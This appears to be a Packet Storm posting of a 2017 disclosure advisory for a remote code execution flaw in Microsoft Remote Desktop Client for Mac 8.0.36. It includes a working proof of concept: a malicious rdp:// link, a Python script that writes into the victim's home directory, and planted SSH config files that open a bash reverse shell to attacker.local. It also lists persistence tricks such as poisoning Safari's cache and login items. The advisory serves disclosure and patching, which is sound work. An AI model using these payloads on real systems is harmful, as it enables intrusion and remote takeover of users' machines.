exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution

Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution
Posted Jan 23, 2017
Authored by Filippo Cavallarin

Microsoft Remote Desktop Client for Mac version 8.0.36 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | 30fa33e5e481a63662a6fceba59229cee595229bc593a817856790f2cd97de46

Microsoft Remote Desktop Client For Mac 8.0.36 Remote Code Execution

Change Mirror Download

Advisory ID: SGMA16-004
Title: Microsoft Remote Desktop Client for Mac Remote Code Execution
Product: Microsoft Remote Desktop Client for Mac
Version: 8.0.36 and probably prior
Vendor: www.microsoft.com
Type: Arbitrary file read/write (leads to RCE)
Risk level: 4 / 5
Credit: filippo.cavallarin@wearesegment.com
CVE: None
Vendor notification: 2016-07-13
Vendor fix: 2017-01-17
Public disclosure: 2017-01-23


Details

A vulnerability exists in Microsoft Remote Desktop for Mac that allows a remote attacker to execute arbitrary code on the target machine.
User interaction is needed to exploit this issue, but a single click on a link (sent via mail, iMessage, etc.) is sufficient to trigger the vulnerability.

Microsoft Remote Desktop Client for Mac OS X (ver 8.0.32 and probably prior) allows a malicious Terminal Server to read and write any file in the home directory of the connecting user.
The vulnerability exists to the way the application handles rdp urls. In the rdp url schema it's possible to specify a parameter that will make the user's home directory accessible to the server without any warning or confirmation request. If an attacker can trick a user to open a malicious rdp url, he/she can read and write any file within the victim's home directoy.

Since Mac OS X by default opens rdp urls without confirmation (for example via Safari, Mail, Messages), a single click on a link it's sufficient to trigger the vulnerability.

According to Microsoft, no CVE will be assigned due to the release model of this particular client.

A demo video is available at https://youtu.be/6HeSiXYRpNY.



PoC
The following Proof Of Concept creates a directory on the victim's home and puts a file into it.

To reproduce the issue follow the steps below:
1. install a windows 2008 server and allow Administrator to connect without password
2. login as Administrator
3. configure a trusted ssl certificate for rdp connections
4. install python2.7 and put the following script in the "Startup" folder
5. logout
6. send the link below to a victim

RDP link:
rdp://full%20address=s:attacker.local&desktopwidth=i:200&desktopheight=i:200&audiomode=i:2&disable%20themes=i:1&screen%20mode%20id=i:1&devicestoredirect:s:*&drivestoredirect=s:*&redirectprinters=i:1&username=s:Administrator


Python script:
#BOF
import sys
import subprocess
import time
import os

def runcmd(cmd):
err = None
out = None
try:
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE);
out, err = process.communicate()
except Exception as e:
print str(e)

return out


while(True):
netuse = runcmd("net use")
if netuse.find("TSCLIENT"):
runcmd('MKLINK /D C:\\home \\\\tsclient\\home')

runcmd('md c:\\home\\REMOTE')

runcmd('copy c:\\REMOTE.txt c:\\home\\REMOTE\\REMOTE.txt')

runcmd("shutdown /l /f")
break

time.sleep(0.4)
#EOF


Remote Code Execuiton
To execute arbitrary code on the target machine we can use a trick that involves ssh and ssh:// URI handler.
Consider the following example where the RDC exploit pushes the following files on the remote machine:
1. ~/.ssh/known_hosts
p ssh-rsa AAAAB3NzaC1yc2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2. ~/.ssh/config
Host p
HostName p
ProxyCommand /bin/bash ~/.ssh/command.sh
3. ~/.ssh/command.sh
for a in {1..31}; do trap "" $a; done
nohup bash -i >& /dev/tcp/attacker.local/1234 0>&1 &

At this point any attempt to launch ssh://p will lead to the execution of ~/.ssh/command.sh without any warning. To automatically execute the triggering URL (ssh://p) we can either:
1. send the link to the victim via Mail or iMessage
2. poison Safari cache adding some javascript that launches the URL
3. poison Safari "Application Saved State" so that the URL il launched at browser execuition
4. poison "loginitems" to launch the URL at system startup

It's also possible achieve Remote Code Execution by sending a single link to the victim if he/she uses Safari as the default browser.


UPDATE:
On Jan 17 2017 Apple pushed a security uptate to Safari that prevents this exploit from working. This fix is mentioned in the Apple Store:
"This update fixes an issue where a website could repeately attempt to launch other websites or applications"


Solution
Update Microsoft RDC to the latest version. The version 8.0.37 fixes this issue.

References
https://www.wearesegment.com/research/Microsoft-Remote-Desktop-Client-for-Mac-Remote-Code-Execution

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close